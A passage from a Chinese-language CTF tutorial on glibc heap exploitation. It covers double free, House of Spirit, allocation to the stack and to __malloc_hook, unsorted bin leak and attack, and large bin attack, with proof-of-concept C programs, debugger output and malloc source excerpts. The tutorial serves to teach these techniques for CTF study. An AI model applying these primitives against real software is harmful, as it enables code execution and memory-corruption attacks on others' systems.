Chunk6: ptr5 @ 0x602010	 contains: 22222222

到这里可以发现,由于前面两次释放了同一个指针,现在我们分配到了相同的指针(因为 malloc 会出于性能提升的原因重用相似大小的已释放内存块)

现在我们可以释放指向 chunk4chunk6 的其中一个指针(即:ptr3ptr5),并清除该指针(防止使用释放后的指针),而我们仍然会有一个指针指向同一个内存块,而该内存块现在已被释放

也就是说,我们可以利用 double free 来编辑已释放的内存块

执行 free(ptr3) 并将 ptr3 置为 NULL 后:

CTF - PWN_堆相关的漏洞与利用49.png

此时输出信息:

Chunk4: ptr3 @ (nil)
Chunk6: ptr5 @ 0x602010

通过 memcpy(ptr5, data3, 0x8)ptr5 写入数据时,会将数据写入到已经被释放的 chunk4

CTF - PWN_堆相关的漏洞与利用50.png

此时输出信息:

Chunk6: ptr5 @ 0x602010	 contains: 15935728

House Of Spirit

House of Spirit 是 the Malloc Maleficarum 中的一种技术,其核心在于:在目标位置处伪造 fast bin chunk,并将其释放,从而实现分配指定地址的 chunk

要想构造 fast bin fake chunk 并且将其释放时,可以将其放入到对应的 fast bin 链表中,但需要绕过一些必要的检测:

  • fake chunkISMMAP 位不能为 1,因为 free 时,如果是 mmapchunk,会单独处理
  • fake chunk 地址需要对齐,MALLOC_ALIGN_MASK
  • fake chunksize 大小需要满足对应的 fast bin 的需求,同时也得对齐
  • fake chunknext chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fast bin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

示例:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
    return 0;
}

运行结果:

This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffc9e07e6d8 and the second at 0x7ffc9e07e708.
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc9e07e6d8.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc9e07e6d8, which will be 0x7ffc9e07e6e0!
malloc(0x30): 0x7ffc9e07e6e0

想要使用 House Of Spirit 的技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测


Alloc to Stack

该技术的核心点在于劫持 fast bin 链表中 chunkfd 指针,fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如:返回地址等,需要栈上存在有满足条件的 size

示例:(64 位程序)

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK, *PCHUNK;

int main(void)
{
    CHUNK stack_chunk;

    void *chunk1;
    void *chunk_a;

    stack_chunk.size = 0x21;
    chunk1 = malloc(0x10);

    free(chunk1);

    *(long long *) chunk1 = &stack_chunk;
    malloc(0x10);
    chunk_a = malloc(0x10);
    return 0;
}

这次我们把 fake_chunk 置于栈中称为 stack_chunk

同时劫持了 fast bin 链表中 chunkfd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fast bin chunk

执行 *(long long *)chunk1=&stack_chunk 后,chunk1fd 指针指向了 stack_chunk

CTF - PWN_堆相关的漏洞与利用52.png

第一次执行 malloc 使得 fast bin 链表指向了 stack_chunk,这意味着下一次分配会使用 stack_chunk 的内存进行:

CTF - PWN_堆相关的漏洞与利用53.png

可以看到第二次执行 malloc 的返回值 RAX 为 0x7fffffffdc80,也就是 stack_chunk

CTF - PWN_堆相关的漏洞与利用54.png

stack_chunk 的地址在栈上,而不在堆上:

CTF - PWN_堆相关的漏洞与利用55.png

CTF - PWN_堆相关的漏洞与利用56.png


Arbitrary Alloc

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中

Arbitrary Alloc 在 CTF 中使用更加频繁,我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值

实际上,只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如:bssheapdatastack 等等

示例:(64 位程序)

int main(void)
{
    void *chunk1;
    void *chunk_a;

    chunk1 = malloc(0x60);

    free(chunk1);

    *(long long *) chunk1 = 0x7ffff7dd1af5 - 0x8;
    malloc(0x60);
    chunk_a = malloc(0x60);
    return 0;
}

在这个例子中,我们使用字节错位来实现直接分配 fast bin__malloc_hook 的位置,相当于覆盖 __malloc_hook 来控制程序流程

上述代码中的 0x7ffff7dd1af5 是根据本机的情况得出的值,想要得到这个值,首先我们要观察欲写入地址 __malloc_hook 附近是否存在可以字节错位的情况

CTF - PWN_堆相关的漏洞与利用57.png

图中 0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的 size 域。因为这是个 64 位程序,因此 fast bin 的范围为 32 字节到 128 字节 (0x20 - 0x80)

//这里的 size 指用户区域,因此要小 2 倍 SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

观察发现 0x7ffff7dd1af5 处可以实现错位构造出一个 0x000000000000007f,因为 0x7f 在计算 fast bin index 时,是属于 index 5 的,即 chunk 大小为 0x70

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)   // 注意 sz 的大小是 unsigned int,因此只占 4 个字节

chunk 大小为 0x70 又包含了 0x10chunk_header,因此我们选择分配 0x60fast bin,将其加入链表:

CTF - PWN_堆相关的漏洞与利用58.png

经过两次 malloc 分配后,可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook 的内容:

CTF - PWN_堆相关的漏洞与利用59.png

CTF - PWN_堆相关的漏洞与利用60.png

在我的 Glibc 2.23 中 __realloc_hook__malloc_hook 是连在一起的:

CTF - PWN_堆相关的漏洞与利用61.png


Unsorted bin Attack

Unsorted bin Attack 是一类漏洞的利用方法,是指所有基于 unsorted bin 机制的漏洞利用方法

参考文章:Unsorted Bin Attack - CTF Wiki

Unsorted bin Attack 的利用前提:

  • 控制 unsorted bin chunkbk 指针

Unsorted bin Attack 可以达到的效果是:实现修改任意地址值为一个较大的数值


Unsorted bin Leak

unsorted bin 首先可以用来泄露一些信息

由于 unsorted bin 在管理时为循环双向链表,若 unsorted bin 中有两个 bin,那么该链表结构如下:

CTF - PWN_堆相关的漏洞与利用62.png

也就是说,在该链表中必有一个节点(不准确的说,是尾节点,这个就意会一下把,毕竟循环链表实际上没有头尾)的 fd 指针会指向 main_arena 结构体内部

如果我们可以把正确的 fd 指针泄露出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过 GDB 调试得出

main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc2 管理主分配区的唯一实例,其会被分配在 .data 或者 .bss 等段上

如果我们有进程所使用的 libc.so 文件的话,就可以获得 main_arena 与 libc 基地址的偏移,实现对 ASLR 的绕过

获得 main_arena 与 libc 基地址的偏移主要有两种方法:

  • 通过 __malloc_trim 函数得出
  • 通过 __malloc_hook 直接计算

一般来说,要实现 Unsorted bin Leak,需要有 UAF

在 CTF 中,一般的笔记管理题都会有 show 的功能,对处于 unsorted bin 链表尾的节点 show 就可以获得 libc 的基地址了

另外,CTF 中堆往往是刚刚初始化的,所以 unsorted bin 一般都是干净的,当 unsorted bin 中只存在一个 bin 的时候,该 bin 的 fd 和 bk 都会指向 main_arena 中

另外,如果我们无法做到访问链表尾,但是可以访问链表头

  • 在 32 位的环境下,对链表头进行 printf 等操作,往往可以把 fd 和 bk 一起输出出来,这个时候同样可以实现有效的 leak
  • 在 64 位的环境下,由于高地址往往为 \x00,很多输出函数会被截断,这个时候可能就难以实现有效的 leak

通过 __malloc_trim() 得到偏移

在 malloc.c 中有这样一段代码:

int
__malloc_trim (size_t s)
{
  int result = 0;

  if (__malloc_initialized < 0)
    ptmalloc_init ();

  mstate ar_ptr = &main_arena;   // <= here!
  do
    {
      __libc_lock_lock (ar_ptr->mutex);
      result |= mtrim (ar_ptr, s);
      __libc_lock_unlock (ar_ptr->mutex);

      ar_ptr = ar_ptr->next;
    }
  while (ar_ptr != &main_arena);

  return result;
}

注意到 mstate ar_ptr = &main_arena 这里对 main_arena 进行了访问,所以通过 IDA 分析 libc 文件中的 malloc_trim() 函数就可以得到 libc 偏移了

以 Glibc 2.23 中的 malloc_trim() 函数为例:

CTF - PWN_堆相关的漏洞与利用63.png

其位于 .bss 段上,可见 main_arena 与 libc 基地址的偏移为 0x3C4B20

CTF - PWN_堆相关的漏洞与利用64.png

我们以 《【Asis CTF 2016】b00ks》 一文中泄漏的地址来进行验证:(同为 Glibc 2.23 环境)

【Asis CTF 2016】b00ks34.png

main_arena 与 libc 基地址的偏移为:0x7efea8cc9b20 - 0x7efea8905000 = 0x3c4b20

CTF - PWN_堆相关的漏洞与利用65.png


通过 __malloc_hook 计算偏移

main_arena 和 __malloc_hook 的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook 的地址

因此 main_arena 与 libc 基地址的偏移可以直接得到:

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

Unsorted bin Attack

glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码:

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

当将一个 unsorted bin 取出的时候,会将 bck -> fd 的位置写入本 unsorted bin 的位置

也就是说,如果我们控制了 bk 的值,就能将 unsorted_chunks (av) 写到任意地址

示例:(64 位程序)

#include <stdio.h>
#include <stdlib.h>

int main() {
  unsigned long target_var = 0;
 
  fprintf(stderr, "%p: %ld\n", &target_var, target_var);

  unsigned long *p = malloc(400);
  
  malloc(500);

  free(p);
  fprintf(stderr, "bk pointer point to %p\n", (void *)p[1]);

  /*------------VULNERABILITY-----------*/

  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "%p\n", (void *)p[1]);

  //------------------------------------

  malloc(400);
  fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
  return 0;
}

接下来,我们通过 GDB 调试分析一下整个过程

首先分配了两个堆块 chunk1chunk2,其中第二个堆块用来防止与 top chunk 合并

然后释放 chunk1,将其置于 unsorted bin 中,可以看到其 bk 指针指向 0x00007ffff7dd1b78,由于此时 unsorted bin 只有一个,因此 fdbk 指针相同

CTF - PWN_堆相关的漏洞与利用66.png

CTF - PWN_堆相关的漏洞与利用73.png

假设我们通过堆溢出或其他手段修改 bk 指针,使其指向 target_var - 16 的位置(这里是以 64 位程序作为示例,如果是 32 位程序,则指向 target_var - 8 的位置)

CTF - PWN_堆相关的漏洞与利用67.png

CTF - PWN_堆相关的漏洞与利用72.png

target_var - 16 处是我们伪造的 chunk,即:target_var 处于伪造 chunkfd

CTF - PWN_堆相关的漏洞与利用68.png

然后,我们通过 malloc(400) 再次申请相同大小的空间

由于所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不为空,于是把 unsorted bin 中的最后一个 chunk 取出来,而 unsorted bin 中的最后一个 chunk 是我们伪造的 chunk

此时堆并没有什么改变,依然是 unsorted bin

CTF - PWN_堆相关的漏洞与利用69.png

CTF - PWN_堆相关的漏洞与利用71.png

但是 0x7fffffffdc88target_var)地址处已经被修改为 unsorted bin 的链表头部 0x00007ffff7dd1b78,即 fd 指针:

CTF - PWN_堆相关的漏洞与利用70.png

注意:

虽然我们修改了 target 处的值,但 unsorted bin 链表也可能就此破坏,在插入 chunk 时,可能会出现问题

从上面的示例我们可以看到,Unsorted bin Attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大,一般可以作为以下用途:

  • 我们通过修改循环的次数来使得程序可以执行多次循环
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack

Large bin Attack

Large bin Attack 是一类漏洞的利用方法,是指所有基于 large bin 机制的漏洞利用方法

参考文章:Large Bin Attack - CTF Wiki

Large bin Attack 主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 large bin 的跳表指针的检测

Glibc 2.33 中关于 Large bin 的入 bin 操作:

else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
              < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }

在 Glibc 2.29 及以下的版本中,根据 unsorted bin chunk 的大小不同

unsorted bin chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句:

fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用:

if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;